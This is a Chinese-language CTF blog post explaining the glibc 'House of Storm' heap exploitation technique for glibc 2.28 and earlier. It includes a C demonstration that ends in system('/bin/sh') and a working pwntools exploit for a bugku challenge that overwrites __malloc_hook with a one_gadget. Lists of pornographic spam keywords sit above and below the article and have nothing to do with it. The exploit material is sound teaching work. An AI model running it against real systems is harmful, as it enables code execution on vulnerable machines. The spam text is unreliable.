<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      堆Pwn:House Of Storm利用手法

      0x00:介紹

      利用手法的背景:

      house of storm是一種結合了unsorted bin attack和Largebin attack的攻擊技術,其基本原理和Largebin attack類似。但不同的是,Largebin attack只可以在任意地址寫入堆地址,而house of storm 則可以導致任意地址分配chunk,也就是說可以造成任意地址寫的后果,危害性大。不過,house of storm 雖然危害大,但其利用條件也是十分苛刻的。

      該利用手法適用于glibc 2.28及以下的版本,因為unsorted bin attack在glibc 2.29中已失效。

       

      利用條件:

      1. 需要unsorted bin中的bk指針可控;

      2. 需要largebin中的bk指針和bk_nextsize指針可控;

      3. 需要在largebin和unsorted bin中分別布置一個chunk,同時需要這兩個chunk在歸為之后處于同一個largebin的index中,且unsorted中的chunk要比largebin中大;

       

       前置了解:

      需要了解unsorted bin attack和Largebin attack攻擊手法。

      下面會先大概介紹一下這兩種攻擊手法,并說明如何疊加變成house of storm。

       

       0x01:前置的利用手法

      Unsorted Bin Attack:

      該攻擊手法可以達到任意地址寫一個libc地址(即unsorted_chunks(av))的效果。unsorted bin attack發生在malloc時,對unsorted bin 中的chunk脫鏈時刻。圖中的文字注明已經很清楚了,只要將unsorted bin的末尾chunk的修改為target - 0x10處,則在chunk脫鏈后,前后chunk進行fd/bk互連的過程中,會將target處賦值為一個libc地址。

      但大家往往只關注到了target處被賦值了,其實unsorted_chunks(av) → bk同時也被賦值為了target - 0x10。

      注意,在libc2.29中,這部分加入了雙鏈表檢查。這表明從libc2.29開始,unsorted bin attack手法就無法使用了。

       

       Largebin Attack:

      該利用手法的本質和unsorted bin attack一樣,都是基于雙鏈表互連過程中發生的。不過由于在large bin中,有靠fd/bk相連的雙鏈表和靠fd_nextsize/bk_nextsize相連的雙鏈表,所以可以對任意兩處的地址進行賦值,賦值為堆地址(victim,從unsorted bin中脫鏈出來的chunk)。

      2.23 ~ 2.29版本中largebin attack的利用點,在2.30及以后的版本中,這里加入了雙鏈表檢測,所以在libc2.30及以后,該處的largebin attack無法使用了。

       

       

       Buffer疊加:

      這里說一下unsorted bin attack和largebin attack如何疊加,變成house of storm,達到任意地址分配chunk的效果。

      在unsorted bin中的chunk脫鏈,然后鏈接到large bin的過程中,可以同時進行這兩種攻擊。為之,所以我們需要在large bin中布置一個chunk,并且在unsorted bin中布置一個size稍大于largebin的chunk,使其能夠鏈接在large bin中chunk的后面。

      house of storm中,unsorted bin attack主要用到的是unsorted_chunks(av) → bk同時也被賦值為了fake(只是一個記號)。在下次申請chunk,使其進入unsorted bin的分支時,victim = unsorted_chunks(av) → bk(即fake),緊接著會有一個分支檢查其size是否滿足申請。只要滿足了,則會直接分配fake處為chunk返回。現在,我們的關鍵點就是如何使用largebin attack使得其size發生穩定的改變。

      我們已經知道largebin attack是向任意地址賦值堆地址。在64字長的系統中,地址尋址為8字節,但堆地址只占5個字節,而特別的是僅已0x55或0x56開頭。那么只要我們通過largebin attack向fake + 0x3處,賦值一個堆地址,則以fake為chunk的size處為0x55或者0x56。這樣,就成功的修改了size。

      注意小端序的問題:

       

       

       0x02:Demo示例

      // gcc -ggdb -fpie -pie house_of_storm.c -o house_of_storm
      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      struct {
          char chunk_head[0x10];
          char content[0x10];
      }fake;
      
      int main(void)
      {
          unsigned long *large_bin,*unsorted_bin;
          unsigned long *fake_chunk;
          char *ptr;
      
          unsorted_bin=malloc(0x418);
          malloc(0X18);
          large_bin=malloc(0x408);
          malloc(0x18);
      
          free(large_bin);
          free(unsorted_bin);
          unsorted_bin=malloc(0x418);
          free(unsorted_bin);
      
          fake_chunk=((unsigned long)fake.content)-0x10;
          unsorted_bin[0]=0;
          unsorted_bin[1]=(unsigned long)fake_chunk;
      
          large_bin[0]=0;
          large_bin[1]=(unsigned long)fake_chunk+8;
          large_bin[2]=0;
          large_bin[3]=(unsigned long)fake_chunk-0x18-5;
      
          ptr=malloc(0x48);
          strncpy(ptr, "/bin/sh", 0x48 - 1);
          system(fake.content);
      }

      該代碼展示的最終目標是分配chunk到fake_chunk。

      代碼16~19行,分配了兩個large bin范圍的chunk,并隔開。稍大的chunk后面會被調(tiao)到unsorted bin中,稍小的chunk會被free到large bin中。

      代碼21~24行,先將兩個chunk free到unsorted bin中(頭插法,先進先出)。然后malloc稍大的那個chunk使稍小的chunk進入large bin中,最后再次free掉稍大的chunk,使其進入unsorted bin。這樣就滿足的第三個條件。

      后面就是對bk和bk_nextsize指針進行操控:

      //代碼26 ~ 33
       
          fake_chunk=((unsigned long)fake.content)-0x10;
      //unsorted_bin->bk = fake_chunk
      //則fake_chunk->fd = unsorted_chunks(av),不過似乎沒有發揮使用
      //重點是:unsorted_chunks(av)->bk = fake_chunk
          unsorted_bin[0]=0;
          unsorted_bin[1]=(unsigned long)fake_chunk;
      
          large_bin[0]=0;
          large_bin[1]=(unsigned long)fake_chunk+8;
          large_bin[2]=0;
      //(fake_chunk-0x18-5)->fd_nextsize = victim(a heap_addr)
      //即fake_chunk-0x18-5+0x20 = fake_chunk+3 = victim
          large_bin[3]=(unsigned long)fake_chunk-0x18-5;
      
      /*其實,largebin attack部分這樣也可以:
      *    large_bin[0]=0;
      *   large_bin[1]=(unsigned long)fake_chunk-0x8-5;
      *   large_bin[2]=0;
      *   large_bin[3]=(unsigned long)fake_chunk-0x8;
      *因為有兩處可以修改任意地址
      */

      malloc(0x48):申請0x50大小的chunk,chunk中size為0x55/0x56的大小也會被歸為0x50這一級別。malloc(0x48)這一過程中,把unsorted_bin脫鏈,并鏈接到了large bin中。

       

       

       這里需要size為0x56才能分配chunk成功,0x55是會發生報錯的。其原因是因為從_int_malloc返回到_libc_malloc后,還會有個斷言對chunk進行檢查:

      /*
          #define arena_for_chunk(ptr) \
              (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
          
          過以下檢測需要滿足的要求,只需滿足一條即可
          1. victim 為 0
          2. IS_MMAPPED 為 1
          3. NON_MAIN_ARENA 為 0
      */
      assert(!victim || chunk_is_mmapped(mem2chunk(victim)) 
             || ar_ptr == arena_for_chunk(mem2chunk(victim)));

      0x56:0101 0110,滿足第二個。

      0x55:0101 0101,不滿足,會報錯。

      因為系統一般會開ASLR,所以0x56、0x55發生的概率差不多,crash的話,多試幾次就好了。

       

       0x03:題目實踐

      bugku的simple_storm:

      鏈接:https://pan.baidu.com/s/131cOS7m9gG34BKqDRWxMig 提取碼:lele

      靜態分析程序,delete函數里面存在UAF漏洞,那就可以隨便玩了。

      這里使用house of storm手法,應該還有其他方法。

      具體思路就不說了,和上面的示例基本一模一樣,這里getshell是通過覆蓋malloc_hook為one_gadget。需要注意的是選擇fake_chunk位置時,size位不能有數據,要為空。

      from pwn import *
      context(os='linux', arch='amd64', log_level='debug')
      
      io = process("./simple_storm")
      #io = remote("114.67.175.224", 12327)
      libc = ELF("./libc-2.23.so")
      
      def add(size):
          io.sendlineafter("Your choice?", "1")
          io.sendlineafter("Size?", str(size))
      
      def delete(idx):
          io.sendlineafter("Your choice?", "2")
          io.sendlineafter("Index?", str(idx))
      
      def edit(idx, content):
          io.sendlineafter("Your choice?", "3")
          io.sendlineafter("Index?", str(idx))
          io.sendlineafter("Content?", content)
      
      def show(idx):
          io.sendlineafter("Your choice?", "4")
          io.sendlineafter("Index?", str(idx))
      
      def debug():
          gdb.attach(io)
          pause()
      
      add(0x400) #0
      add(0x18)  #1
      add(0x410) #2
      add(0x18)  #3
      delete(0)
      show(0)
      main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 88
      libc_base = main_arena - 0x3c4b20
      print("@@@ main_arena = " + str(hex(main_arena)))
      print("@@@ libc_base = " + str(hex(libc_base)))
      
      delete(2)
      add(0x410) #4
      delete(4)
      
      ogg = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
      malloc_hook = main_arena - 0x10
      fakechunk = malloc_hook - 0x50
      edit(4, p64(0) + p64(fakechunk))
      edit(0, p64(0) + p64(fakechunk + 0x8) + p64(0) + p64(fakechunk-0x18-5))
      add(0x48) #5
      edit(5, p64(ogg[1] + libc_base)*9)
      add(0x20)
      io.interactive()

       

      本文參考:

      https://www.anquanke.com/post/id/203096

      http://www.rzrgm.cn/Rookle/p/13140339.html


      tolele

      2022-09-25

       

      posted @ 2022-09-25 19:01  tolele  閱讀(599)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 国产偷自视频区视频| 精品一区二区成人精品| 国产人妻精品一区二区三区不卡 | 狠狠综合久久av一区二| 国产一区二区三区精品片| 一本精品中文字幕在线| 亚洲国产长腿丝袜av天堂 | 亚洲欧美国产日韩天堂区| 久久zyz资源站无码中文动漫| 无码高潮爽到爆的喷水视频app| 国产免费久久精品99reswag| 在线中文一区字幕对白| 亚洲精品中文字幕一区二| 亚洲中文字幕综合网在线| 亚洲色婷婷一区二区三区| 色偷偷www.8888在线观看| 成在线人永久免费视频播放 | 日本一区二区久久人妻高清 | 亚洲精品天堂在线观看| 夜夜躁狠狠躁日日躁| 欧美饥渴熟妇高潮喷水| 国产爆乳无码av在线播放| 伊人久久久av老熟妇色| 国产亚洲精品成人av在线| 精品久久久中文字幕人妻| 胶州市| 亚洲国产成人久久77| 成年午夜无码av片在线观看| 无码囯产精品一区二区免费| 综合色一色综合久久网| 亚洲国模精品一区二区| 男女性高爱潮免费网站| 亚欧美日韩香蕉在线播放视频| 国产无套精品一区二区| 99久久激情国产精品| 精品亚洲香蕉久久综合网| 看全色黄大黄大色免费久久| 远安县| 亚洲va中文字幕无码久久不卡| 日韩少妇人妻vs中文字幕| 92国产精品午夜福利免费|